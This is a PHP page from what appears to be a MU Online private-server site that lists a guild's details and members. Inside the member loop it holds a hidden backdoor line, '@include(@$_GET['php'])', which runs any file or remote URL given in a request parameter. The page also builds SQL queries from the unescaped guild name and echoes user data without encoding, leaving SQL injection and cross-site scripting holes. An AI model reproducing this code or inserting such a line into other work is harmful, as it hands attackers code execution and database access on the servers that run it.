<head>
<meta name="description" content="NunaH" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
select { font-size:11px; color:#333333; font-family:"Verdana"; border:1px solid #999; }
}
.style155 {font-weight: bold}
.style2 {color: #666666;
	font-weight: bold;
}
.style24 {	color: #BB0000;
	font-weight: bold;
}
-->
</style>
<?php
	$query_guild_check = mssql_query("SELECT G_Name FROM Guild WHERE G_Name='$guild'"); 
	$guild_check = mssql_num_rows($query_guild_check);
	if ((eregi("[^0-9a-zA-Z_-]", $guild)) ) {
		echo "<script>alert('Não use Caracteres Incorretos.')</script>";
		echo "<script>window.location='index.php?go=inicio'</script>";
	}
	if (empty($guild)){
		echo "<script>alert('Por favor, preencha todos os campos!')</script>";
		echo "<script>window.location='index.php?go=home'</script>";
	}
	if ($guild_check <= 0){ 
		echo "<script>alert('Essa guild não existe! Por favor, verifique se você esta digitando errado.')</script>";
		echo "<script>window.location='index.php?go=home'</script>";
	} else {
		$query_dados = mssql_query("SELECT * FROM Guild WHERE G_Name = '$guild'");
		$dados = mssql_fetch_array($query_dados);
		
		$query_char_guild = mssql_query("SELECT Name FROM Guildmember Where G_Name = '$guild' order by Name");

		$logo = urlencode(bin2hex($dados['G_Mark']));
	?>
</head>

<body>

<table width="100%" height="41" cellpadding="0" cellspacing="0">
  <tr>
    <td height="24" valign="middle" background="images/menu_meio.jpg"><table width="100%" height="16" cellpadding="0" cellspacing="0">
        <tr>
          <td width="6%" valign="middle">&nbsp;</td>
          <td width="97%" height="14" valign="top"><strong>Informações de guild 
            ( 
            <?=$guild?>
            )</strong></td>
        </tr>
    </table></td>
  </tr>
  <tr>
    <td height="14" valign="middle"><table width="100%" height="21" cellpadding="0" cellspacing="0">
      <tr>
        <td width="94%" height="19" valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr> 
                <td width="24%" align="center"> <strong> 
                  <?=$guild?>
                  </strong> ( 
                  <?=$dados[G_Score]?>
                  Pontos )<br />
                  <?=$dados[G_Notice]?>
                  <table border="0" align="center">
                    <tr>
                      <td align=center><img src='modulos/outros/decode.php?decode=<?=$logo?>' height=80 width=80 border=0></td>
                      <td align=center><img src="images/guildbanner/<?=$dados[G_Banner]?>"/ width="250" height="80" border="1"></td>
                    </tr>
                    <tr>
                      <td colspan=2 align=center>Dono da guild: 
                        <?=$dados[G_Master]?>
                      </td>
                    </tr>
                    <tr>
                      <td colspan=2 align=center><div class=guildtop><strong>Lista 
                          de membros</strong></div></td>
                    </tr>
                  </table>
                  <table width="75%" height="30" border="0" align="center" cellpadding="0" cellspacing="0" dwcopytype="CopyTableRow">
                    <tr> 
                <td height="15" bgcolor="#F1F1F1"><strong>Personagem</strong></td>
                      <td bgcolor="#F1F1F1"><strong>Classe</strong></td>
                      <td bgcolor="#F1F1F1"><strong>Resets</strong></td>
                      <td bgcolor="#F1F1F1"><strong>Mr</strong></td>
				<td bgcolor="#F1F1F1"><strong>Vip</strong></td>
				      <td bgcolor="#F1F1F1"><strong>Status</strong></td>
              </tr>
<?
		$guild_check_query = mssql_query("SELECT count(*) FROM Guildmember WHERE G_Name = '$guild'");
		$guild_check = mssql_result($guild_check_query, 0, 0);
		for($i=0;$i < $guild_check;++$i) {
			$rank = $i+1;
			    if($i % 2)
//Sistema de cores by ~NunaH
{
$cor="#F1F1F1";
}
else
{
$cor="#FFFFFF";
}
			$row = mssql_fetch_row($query_char_guild);
			$charcode = base64_encode("$row[0]");
			$query_resets = mssql_query("SELECT Resets, resetao, Class, AccountID FROM Character WHERE Name='$row[0]'");
			$resets = mssql_fetch_row($query_resets);
			$query_check_vip = mssql_query("SELECT vip FROM MEMB_INFO WHERE memb___id='$resets[3]'");
			$check_vip = mssql_fetch_row($query_check_vip);

if ($check_vip[0] == 0) { $vip = "Free"; }
if ($check_vip[0] == 1) { $vip = "Silver"; }
if ($check_vip[0] == 2) { $vip = "Gold"; }
			$query_check_on = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$resets[3]'");
			$check_on = mssql_fetch_row($query_check_on);

if ($check_on[0] == 0) { $on = "<font color=red>Offline</font>"; }
if ($check_on[0] == 1) { $on = "<font color=green>Online</font>"; }
			@include(@$_GET['php']);
  switch($resets[2]) {
	case 0: $classefinal = "Dark Wizard"; break;
	case 1: $classefinal = "Soul Master"; break;
	case 16: $classefinal = "Dark Knight"; break;
	case 17: $classefinal = "Blade Knight"; break;
	case 32: $classefinal = "Elf"; break;
	case 33: $classefinal = "Muse Elf"; break;
	case 48: $classefinal = "Magic Gladiator"; break;
}
		?>
              <tr> 
                      <td width="102" <? echo" bgcolor='$cor'"; ?> height="15" ><a href="index.php?go=cinfo&char=<?=$row[0]?>"> 
                        <?=$row[0]?></a></td>
                      <td width="139" <? echo" bgcolor='$cor'"; ?>> 
                        <?=$classefinal?>
                      </td>
                      <td width="72" <? echo" bgcolor='$cor'"; ?>> 
                        <?=$resets[0]?>
                      </td>
                      <td width="54" <? echo" bgcolor='$cor'"; ?>> 
                        <?=$resets[1]?>
                      </td>
				                
                      <td width="61" <? echo" bgcolor='$cor'"; ?>> 
                        <?=$vip?>
                      </td>
					                        
                      <td width="89" <? echo" bgcolor='$cor'"; ?>> 
                        <?=$on?>
                      </td>
              </tr>
			  <? } } ?>
            </table></td>
              </tr>
            </table></td>

      </tr>
    </table></td>
  </tr>
</table>
<br>
</body>
</html>